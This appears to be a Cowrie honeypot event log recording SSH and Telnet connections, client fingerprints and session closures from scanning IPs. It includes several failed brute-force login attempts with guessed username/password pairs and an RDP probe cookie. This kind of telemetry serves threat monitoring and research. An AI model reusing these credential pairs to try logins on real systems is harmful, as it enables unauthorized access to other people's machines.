{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:17:13.356229Z","src_ip":"181.65.191.218","session":"1e1c6ae577e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.090982913970947,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:17:20.595423Z","src_ip":"194.163.135.148","session":"4525f76c0f0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.78388857841492,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:17:41.528596Z","src_ip":"103.115.172.252","session":"07dbf82fe13a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.104.93.159","src_port":49364,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd47b7420027","protocol":"telnet","message":"New connection: 172.104.93.159:49364 (10.17.0.5:23) [session: bd47b7420027]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:17:51.283979Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":39210,"dst_ip":"10.17.0.5","dst_port":23,"session":"3eb9927ccaee","protocol":"telnet","message":"New connection: 103.115.172.252:39210 (10.17.0.5:23) [session: 3eb9927ccaee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:17:54.376371Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41482,"dst_ip":"159.203.135.109","dst_port":23,"session":"0226fdbc2671","protocol":"telnet","message":"New connection: 194.163.135.148:41482 (159.203.135.109:23) [session: 0226fdbc2671]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:17:56.433917Z"}
{"eventid":"cowrie.session.closed","duration":10.164634704589844,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:18:01.448513Z","src_ip":"172.104.93.159","session":"bd47b7420027","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.65.191.218","src_port":43178,"dst_ip":"10.17.0.5","dst_port":22,"session":"8331f09404e4","protocol":"ssh","message":"New connection: 181.65.191.218:43178 (10.17.0.5:22) [session: 8331f09404e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:18:27.636813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:18:27.641581Z","src_ip":"181.65.191.218","session":"8331f09404e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:18:27.752640Z","src_ip":"181.65.191.218","session":"8331f09404e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test4","password":"123456","message":"login attempt [test4/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:18:28.227876Z","src_ip":"181.65.191.218","session":"8331f09404e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:18:29.340715Z","src_ip":"181.65.191.218","session":"8331f09404e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.31104755401611,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:18:29.744839Z","src_ip":"194.163.135.148","session":"0226fdbc2671","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":37122,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8cb1f8dcbd2","protocol":"telnet","message":"New connection: 103.82.231.165:37122 (10.17.0.5:23) [session: b8cb1f8dcbd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:18:31.011918Z"}
{"eventid":"cowrie.session.closed","duration":0.004580497741699219,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:18:31.016376Z","src_ip":"103.82.231.165","session":"b8cb1f8dcbd2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.98918867111206,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:18:34.365406Z","src_ip":"103.115.172.252","session":"3eb9927ccaee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.51.244.245","src_port":46011,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e2f1916c91e","protocol":"telnet","message":"New connection: 98.51.244.245:46011 (159.203.135.109:23) [session: 1e2f1916c91e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:18:57.902236Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":13367,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f2d1180245d","protocol":"ssh","message":"New connection: 2.57.121.25:13367 (10.17.0.5:22) [session: 7f2d1180245d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:19:24.456136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:19:24.460644Z","src_ip":"2.57.121.25","session":"7f2d1180245d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:19:24.559779Z","src_ip":"2.57.121.25","session":"7f2d1180245d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"bigbad","message":"login attempt [user/bigbad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:19:25.194081Z","src_ip":"2.57.121.25","session":"7f2d1180245d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"belgium","message":"login attempt [user/belgium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:19:26.295959Z","src_ip":"2.57.121.25","session":"7f2d1180245d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"beaumont","message":"login attempt [user/beaumont] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:19:27.397439Z","src_ip":"2.57.121.25","session":"7f2d1180245d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"baylee","message":"login attempt [user/baylee] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:19:28.498142Z","src_ip":"2.57.121.25","session":"7f2d1180245d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"bavaria","message":"login attempt [user/bavaria] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:19:29.599678Z","src_ip":"2.57.121.25","session":"7f2d1180245d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:19:30.704378Z","src_ip":"2.57.121.25","session":"7f2d1180245d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.65.191.218","src_port":23110,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba85148d1bbf","protocol":"ssh","message":"New connection: 181.65.191.218:23110 (10.17.0.5:22) [session: ba85148d1bbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:19:35.269793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:19:35.274296Z","src_ip":"181.65.191.218","session":"ba85148d1bbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:19:35.390995Z","src_ip":"181.65.191.218","session":"ba85148d1bbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"www-data","message":"login attempt [ubuntu/www-data] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:19:35.888113Z","src_ip":"181.65.191.218","session":"ba85148d1bbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:19:37.006977Z","src_ip":"181.65.191.218","session":"ba85148d1bbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":50422,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0a579c51152","protocol":"telnet","message":"New connection: 103.115.172.252:50422 (10.17.0.5:23) [session: f0a579c51152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:19:47.609338Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":43210,"dst_ip":"10.17.0.5","dst_port":23,"session":"9eeb3871fbc7","protocol":"telnet","message":"New connection: 103.82.231.165:43210 (10.17.0.5:23) [session: 9eeb3871fbc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:19:51.993657Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.51.223.90","src_port":1930,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0bfb52ec584","protocol":"telnet","message":"New connection: 188.51.223.90:1930 (10.17.0.5:23) [session: b0bfb52ec584]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:20:14.986021Z"}
{"eventid":"cowrie.session.closed","duration":31.211882829666138,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:20:23.205438Z","src_ip":"103.82.231.165","session":"9eeb3871fbc7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":55744,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea5fcb4ed217","protocol":"telnet","message":"New connection: 103.82.231.165:55744 (10.17.0.5:23) [session: ea5fcb4ed217]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:20:23.958936Z"}
{"eventid":"cowrie.session.closed","duration":38.11006283760071,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:20:25.719408Z","src_ip":"103.115.172.252","session":"f0a579c51152","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.44767165184021,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:20:27.433570Z","src_ip":"188.51.223.90","session":"b0bfb52ec584","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":38902,"dst_ip":"10.17.0.5","dst_port":23,"session":"024a13f08634","protocol":"telnet","message":"New connection: 103.115.172.252:38902 (10.17.0.5:23) [session: 024a13f08634]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:20:29.408639Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":38646,"dst_ip":"10.17.0.5","dst_port":23,"session":"800d6831dc30","protocol":"telnet","message":"New connection: 103.115.172.252:38646 (10.17.0.5:23) [session: 800d6831dc30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:20:29.809108Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":42768,"dst_ip":"10.17.0.5","dst_port":23,"session":"32f3299895b5","protocol":"telnet","message":"New connection: 103.82.231.165:42768 (10.17.0.5:23) [session: 32f3299895b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:20:42.914872Z"}
{"eventid":"cowrie.session.closed","duration":0.029180049896240234,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:20:42.943955Z","src_ip":"103.82.231.165","session":"32f3299895b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":34714,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f473a5d854c","protocol":"telnet","message":"New connection: 103.82.231.165:34714 (10.17.0.5:23) [session: 3f473a5d854c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:20:43.325203Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":34726,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8ae6327e2f7","protocol":"telnet","message":"New connection: 103.82.231.165:34726 (10.17.0.5:23) [session: b8ae6327e2f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:20:44.332829Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.65.191.218","src_port":18750,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6f41ef1300f","protocol":"ssh","message":"New connection: 181.65.191.218:18750 (10.17.0.5:22) [session: b6f41ef1300f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:20:46.766743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:20:46.770937Z","src_ip":"181.65.191.218","session":"b6f41ef1300f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":46126,"dst_ip":"10.17.0.5","dst_port":23,"session":"39da4cd1be3d","protocol":"telnet","message":"New connection: 103.115.172.252:46126 (10.17.0.5:23) [session: 39da4cd1be3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:20:46.834006Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:20:46.882858Z","src_ip":"181.65.191.218","session":"b6f41ef1300f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Abc12345678!","message":"login attempt [ubuntu/Abc12345678!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:20:47.357276Z","src_ip":"181.65.191.218","session":"b6f41ef1300f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:20:48.470705Z","src_ip":"181.65.191.218","session":"b6f41ef1300f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.393306493759155,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:20:55.352113Z","src_ip":"103.82.231.165","session":"ea5fcb4ed217","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00112843513489,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:20:57.903265Z","src_ip":"98.51.244.245","session":"1e2f1916c91e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":63473,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef92d2cd0459","protocol":"ssh","message":"New connection: 103.149.252.223:63473 (159.203.135.109:22) [session: ef92d2cd0459]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:21:01.499458Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:21:01.504652Z","src_ip":"103.149.252.223","session":"ef92d2cd0459","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:21:01.508745Z","src_ip":"103.149.252.223","session":"ef92d2cd0459","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.426897287368774,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:21:06.835416Z","src_ip":"103.115.172.252","session":"024a13f08634","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.51.244.245","src_port":51311,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e1fb420edd5","protocol":"telnet","message":"New connection: 98.51.244.245:51311 (159.203.135.109:23) [session: 6e1fb420edd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:21:07.721753Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.51.244.245","src_port":51442,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb0bc2c03c00","protocol":"telnet","message":"New connection: 98.51.244.245:51442 (159.203.135.109:23) [session: eb0bc2c03c00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:21:08.769484Z"}
{"eventid":"cowrie.session.closed","duration":41.24760365486145,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:21:11.056590Z","src_ip":"103.115.172.252","session":"800d6831dc30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.057108879089355,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:21:16.389823Z","src_ip":"103.82.231.165","session":"b8ae6327e2f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.80747604370117,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:21:23.641333Z","src_ip":"103.115.172.252","session":"39da4cd1be3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.52586555480957,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:21:25.850954Z","src_ip":"103.82.231.165","session":"3f473a5d854c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":60600,"dst_ip":"159.203.135.109","dst_port":23,"session":"08553d300dd4","protocol":"telnet","message":"New connection: 185.26.126.47:60600 (159.203.135.109:23) [session: 08553d300dd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:21:30.166837Z"}
